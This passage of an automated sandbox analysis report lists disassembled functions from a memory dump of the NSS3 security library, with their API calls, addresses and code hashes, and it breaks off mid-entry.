sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CF151BB

Strings

unable to delete/modify user-function due to active statements, xrefs: 6CF151DF
misuse, xrefs: 6CF151AF
%s at line %d of [%.10s], xrefs: 6CF151B4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CF151A5

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 0563ff7476ad6d2f4417eb9c76a9e9a5402470abf434d51347b5adf294435712
Instruction ID: 53c2d467995d0648d077af1c39fea43e0bf955b6a8c3f1eb4e2897a940f45dfd
Opcode Fuzzy Hash: 0563ff7476ad6d2f4417eb9c76a9e9a5402470abf434d51347b5adf294435712
Instruction Fuzzy Hash: 3B718F7160820A9FEB01CE95CDC0B9A7BB9BF48318F154129FD199BB81D735E950CBA1

Function 6CFFFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6CFFF165,?), ref: 6CFFFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6CFFF165,?), ref: 6CFFFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CFFF165,?), ref: 6CFFFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6CFFF165,?), ref: 6CFFFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6CFFF165,?), ref: 6CFFFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6CFFF165,6D0C219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CFFFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6CFFF165,?), ref: 6D0000A6

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 760f82da77a3bcc1a0d3af5030141d3145dbe91461c83e0fc18259028e4bd03a
Instruction ID: 173240f8ce9ae80767b08334a6d112ee5f5a1e62350e6e3571eb32d56e419fc8
Opcode Fuzzy Hash: 760f82da77a3bcc1a0d3af5030141d3145dbe91461c83e0fc18259028e4bd03a
Instruction Fuzzy Hash: 5451E4B1E08616ABFB108EA9C8807BEB7F5FB49314F558229DD65A7340D332AD01CBD0

Function 6CFBDEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CFBDF37
EnterCriticalSection.KERNEL32(?), ref: 6CFBDF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBDF96
PR_SetError.NSS3(00000000,00000000), ref: 6CFBE02B
PR_Unlock.NSS3(?), ref: 6CFBE07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CFBE090
PR_Unlock.NSS3(?), ref: 6CFBE0AF

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: a628d81d4b8284d987c3866e3143e84dbce4d6e590eb85ee1d528441c6f3c649
Instruction ID: c9c63eeb0d26ec6c1603d9e33f5eb607c2e7723804bdac2281360e90756d88df
Opcode Fuzzy Hash: a628d81d4b8284d987c3866e3143e84dbce4d6e590eb85ee1d528441c6f3c649
Instruction Fuzzy Hash: ED51E136904700CFEB209F2AD844B5B73B5FF44358F214968E95AA7BA1D731E854CBD2

Function 6CFBBCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CFBBD1E

Part of subcall function 6CF92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CF92F0A
Part of subcall function 6CF92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CF92F1D

Part of subcall function 6CFD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CF9B41E,00000000,00000000,?,00000000,?,6CF9B41E,00000000,00000000,00000001,?), ref: 6CFD57E0
Part of subcall function 6CFD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CFD5843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CFBBD8C

Part of subcall function 6CFEFAB0: free.MOZGLUE(?,-00000001,?,?,6CF8F673,00000000,00000000), ref: 6CFEFAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6CFBBD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6CFBBDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFBBE3A

Part of subcall function 6CF93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF93EC2
Part of subcall function 6CF93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CF93ED6
Part of subcall function 6CF93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF93EEE
Part of subcall function 6CF93E60: PR_CallOnce.NSS3(6D0F2AA4,6CFF12D0), ref: 6CF93F02
Part of subcall function 6CF93E60: PL_FreeArenaPool.NSS3 ref: 6CF93F14
Part of subcall function 6CF93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF93F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CFBBE52

Part of subcall function 6CF92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CF92CDA,?,00000000), ref: 6CF92E1E
Part of subcall function 6CF92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CF92E33
Part of subcall function 6CF92E00: TlsGetValue.KERNEL32 ref: 6CF92E4E
Part of subcall function 6CF92E00: EnterCriticalSection.KERNEL32(?), ref: 6CF92E5E
Part of subcall function 6CF92E00: PL_HashTableLookup.NSS3(?), ref: 6CF92E71
Part of subcall function 6CF92E00: PL_HashTableRemove.NSS3(?), ref: 6CF92E84
Part of subcall function 6CF92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CF92E96
Part of subcall function 6CF92E00: PR_Unlock.NSS3 ref: 6CF92EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CFBBE61

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: ce496b25196842d3f9fe1d1d28a30c6647a9e3dbfd3b740c16f890dbc2ac168c
Instruction ID: 0058b761cae0fcc10632be7ab8340e185e0995fd50fb70053edb7d31e01e6a16
Opcode Fuzzy Hash: ce496b25196842d3f9fe1d1d28a30c6647a9e3dbfd3b740c16f890dbc2ac168c
Instruction Fuzzy Hash: 1741F2B6A00210AFDB10DF29DCC0BAB77E4EB49718F154568F949AB711E731ED08CB92

Function 6CFDAC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6CFDAB3E,?,?,?), ref: 6CFDAC35

Part of subcall function 6CFBCEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6CFBCF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CFDAB3E,?,?,?), ref: 6CFDAC55

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6CFDAB3E,?,?), ref: 6CFDAC70

Part of subcall function 6CFBE300: TlsGetValue.KERNEL32 ref: 6CFBE33C
Part of subcall function 6CFBE300: EnterCriticalSection.KERNEL32(?), ref: 6CFBE350
Part of subcall function 6CFBE300: PR_Unlock.NSS3(?), ref: 6CFBE5BC
Part of subcall function 6CFBE300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6CFBE5CA
Part of subcall function 6CFBE300: TlsGetValue.KERNEL32 ref: 6CFBE5F2
Part of subcall function 6CFBE300: EnterCriticalSection.KERNEL32(?), ref: 6CFBE606
Part of subcall function 6CFBE300: PORT_Alloc_Util.NSS3(?), ref: 6CFBE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CFDAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CFDAB3E), ref: 6CFDACD7
PORT_Alloc_Util.NSS3(?), ref: 6CFDAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CFDAD2B

Part of subcall function 6CFBF360: TlsGetValue.KERNEL32(00000000,?,6CFDA904,?), ref: 6CFBF38B
Part of subcall function 6CFBF360: EnterCriticalSection.KERNEL32(?,?,?,6CFDA904,?), ref: 6CFBF3A0
Part of subcall function 6CFBF360: PR_Unlock.NSS3(?,?,?,?,6CFDA904,?), ref: 6CFBF3D3

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: ea60d9726b1a50c994fa7f10ffc81db1c805d50d14e632d60c7454474e7c605e
Instruction ID: 900afc519a5a8b87c15ebaaa890e00f420ee498f0d559fe786c4bdec8e6548af
Opcode Fuzzy Hash: ea60d9726b1a50c994fa7f10ffc81db1c805d50d14e632d60c7454474e7c605e
Instruction Fuzzy Hash: D1312CB6E006055FEB00CF69DC40AAF77B6EF84728B1E8128E82597740EB31ED1587A5

Function 6CFB8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CFB8C7C

Part of subcall function 6D059DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DC6
Part of subcall function 6D059DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6D0A0A27), ref: 6D059DD1
Part of subcall function 6D059DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6D059DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CFB8CB0
TlsGetValue.KERNEL32 ref: 6CFB8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CFB8CE5
PR_Unlock.NSS3(?), ref: 6CFB8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CFB8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFB8D93

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: c40ab87a00ec6868e532a784acc87e7dd686e742216508c24e0910ce31c8f310
Instruction ID: ae386535aa63ebb8f7e6be008d896aca0a89c8f288a8002026ebd52313884caa
Opcode Fuzzy Hash: c40ab87a00ec6868e532a784acc87e7dd686e742216508c24e0910ce31c8f310
Instruction Fuzzy Hash: 1C311575A01216ABE7009F69DC4479A7774BF88318F24013AEE1577B50D770A924C7D1

Function 6CFF9D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CFF9C5B), ref: 6CFF9D82

Part of subcall function 6CFF14C0: TlsGetValue.KERNEL32 ref: 6CFF14E0
Part of subcall function 6CFF14C0: EnterCriticalSection.KERNEL32 ref: 6CFF14F5
Part of subcall function 6CFF14C0: PR_Unlock.NSS3 ref: 6CFF150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CFF9C5B), ref: 6CFF9DA9

Part of subcall function 6CFF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF136A
Part of subcall function 6CFF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF137E
Part of subcall function 6CFF1340: PL_ArenaGrow.NSS3(?,6CF8F599,?,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?), ref: 6CFF13CF
Part of subcall function 6CFF1340: PR_Unlock.NSS3(?,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CFF9C5B), ref: 6CFF9DCE

Part of subcall function 6CFF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CF8F599,?,00000000), ref: 6CFF13F0
Part of subcall function 6CFF1340: PL_ArenaGrow.NSS3(?,6CF8F599,?,?,?,00000000,00000000,?,6CF9895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CFF1445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CFF9C5B), ref: 6CFF9DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CFF9C5B), ref: 6CFF9DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CFF9C5B), ref: 6CFF9E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CFF9C5B), ref: 6CFF9E91

Part of subcall function 6D03C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6D03C2BF

Part of subcall function 6CFF1560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CFEFAAB,00000000), ref: 6CFF157E
Part of subcall function 6CFF1560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CFEFAAB,00000000), ref: 6CFF1592
Part of subcall function 6CFF1560: memset.VCRUNTIME140(?,00000000,?), ref: 6CFF1600
Part of subcall function 6CFF1560: PL_ArenaRelease.NSS3(?,?), ref: 6CFF1620
Part of subcall function 6CFF1560: PR_Unlock.NSS3(?), ref: 6CFF1639

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: b9ea2064c894189bc15ceb8c9424e43837a27d63d78ef04ce38515ca495ef4ea
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: 6A4160B4601606AFE740DF15D840B92BBA5FF45358F548128D8288BFA1EB73E939CF90

Function 6CFBDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CFBDDEC

Part of subcall function 6CFF0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CFF08B4

PK11_DigestBegin.NSS3(00000000), ref: 6CFBDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CFBDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CFBDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CFBDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CFBDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFBDECC

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 5f06cb52334833c256a7581649e0e8349d548901fbee8505d98c3b536c39e79d
Instruction ID: 56adf0e97dcf79aa2dd9d3bcf320d7daa83da7292a6371e2b02460c4fba0c007
Opcode Fuzzy Hash: 5f06cb52334833c256a7581649e0e8349d548901fbee8505d98c3b536c39e79d
Instruction Fuzzy Hash: A331B3B69042146BEB00AF6AAC41BFB76A89F54608F050175FD09B7746FB31D914C7E3

Function 6CF97E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CF97E48

Part of subcall function 6CFF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CF987ED,00000800,6CF8EF74,00000000), ref: 6CFF1000
Part of subcall function 6CFF0FF0: PR_NewLock.NSS3(?,00000800,6CF8EF74,00000000), ref: 6CFF1016
Part of subcall function 6CFF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CF987ED,00000008,?,00000800,6CF8EF74,00000000), ref: 6CFF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CF97E5B

Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF10F3
Part of subcall function 6CFF10C0: EnterCriticalSection.KERNEL32(?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF110C
Part of subcall function 6CFF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1141
Part of subcall function 6CFF10C0: PR_Unlock.NSS3(?,?,?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF1182
Part of subcall function 6CFF10C0: TlsGetValue.KERNEL32(?,6CF98802,00000000,00000008,?,6CF8EF74,00000000), ref: 6CFF119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CF97E7B

Part of subcall function 6CFEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CFE8D2D,?,00000000,?), ref: 6CFEFB85
Part of subcall function 6CFEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CFEFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6D0B925C,?), ref: 6CF97E92

Part of subcall function 6CFEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6D0C18D0,?), ref: 6CFEB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF97EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CF97ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CF97EFA

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: e53a702ff8a41c403cd92dfcf13e828c55c498cb9948c9923a06e50ba130e3bf
Instruction ID: 1fd39eb98f72ed6f6e40ee57ba8bb465add3188c6dfcfd4ad0a3dc818131c3ce
Opcode Fuzzy Hash: e53a702ff8a41c403cd92dfcf13e828c55c498cb9948c9923a06e50ba130e3bf
Instruction Fuzzy Hash: B03170B2E013159BFF509B659C40B9B73A8AF44658F154926ED29EBB41E730FC04C7E0

Function 6CFEDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CFED9E4,00000000), ref: 6CFEDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CFED9E4,00000000), ref: 6CFEDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CFED9E4,00000000), ref: 6CFEDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CFEDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CFEDCAD

Memory Dump Source

Source File: 00000000.00000002.1828070193.000000006CF11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CF10000, based on PE: true

Associated: 00000000.00000002.1827977906.000000006CF10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828265706.000000006D0AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828318985.000000006D0EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828357298.000000006D0EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828381502.000000006D0F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1828405095.000000006D0F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf10000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: 83bd01146b99661676a09e8c46c472b8574033d9e65e31b9ec303a67c856a3bd
Instruction ID: 76ae946407d3fd5b79f23240a319f12ca166959458f71f29dcde1f093728c814
Opcode Fuzzy Hash: 83bd01146b99661676a09e8c46c472b8574033d9e65e31b9ec303a67c856a3bd
Instruction Fuzzy Hash: 693141B5A00201AFE750CF1DD884B56B7F8EF89398F148429E95CCBB51E772E944CB61

Function 6CFB2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

